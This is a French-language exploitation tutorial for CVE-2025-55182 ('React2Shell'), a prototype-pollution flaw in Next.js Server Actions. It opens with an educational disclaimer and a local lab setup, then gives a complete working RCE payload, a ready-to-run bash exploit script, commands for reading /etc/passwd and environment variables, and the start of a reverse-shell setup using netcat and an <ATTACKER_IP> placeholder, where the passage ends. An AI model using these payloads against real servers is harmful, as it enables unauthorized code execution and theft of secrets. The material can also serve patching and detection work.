
CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js utilisant React Server Components (RSC) et Server Actions.
⚠️ Avertissement : Cette documentation est fournie uniquement à des fins éducatives et de recherche en sécurité. Toute utilisation non autorisée de ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.
CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js qui utilisent :
Un attaquant peut obtenir une exécution de code à distance (RCE) sur le serveur en exploitant :
__proto__ et constructorConséquence : Des commandes système arbitraires peuvent être exécutées avec les privilèges du processus Node.js.
Next.js utilise un protocole propriétaire multipart/form-data pour communiquer entre le client et le serveur :
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
La vulnérabilité existe parce que :
__proto__, constructor)Un attaquant peut créer une charge utile qui modifie les propriétés internes des objets :
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
En exploitant __proto__, l'attaquant pollue le prototype des objets JavaScript, affectant tous les objets qui en héritent.
Dans le champ _prefix, l'attaquant injecte du code JavaScript qui :
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Le résultat de la commande est caché dans la réponse d'erreur :
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js renvoie cette erreur au client, et la sortie de la commande est visible dans le champ digest.
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
Le serveur est maintenant accessible à l'adresse :
http://localhost:3000
curl http://localhost:3000/
À ce stade, le serveur se comporte normalement.
http://localhost:3000/ dans votre navigateurUne requête GET sera interceptée. Envoyez-la dans l'onglet Repeater :
Remplacez toute la requête par la charge utile suivante :
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Cliquez sur Send.
Créez un fichier exploit.sh :
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Rendez-le exécutable :
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Pour obtenir un accès shell interactif complet, utilisez un reverse shell.
ncat -lvnp 9009
Ou avec netcat :
nc -lvnp 9009
Modifiez la charge utile avec la commande suivante (remplacez <ATTACKER_IP> par votre adresse IP) :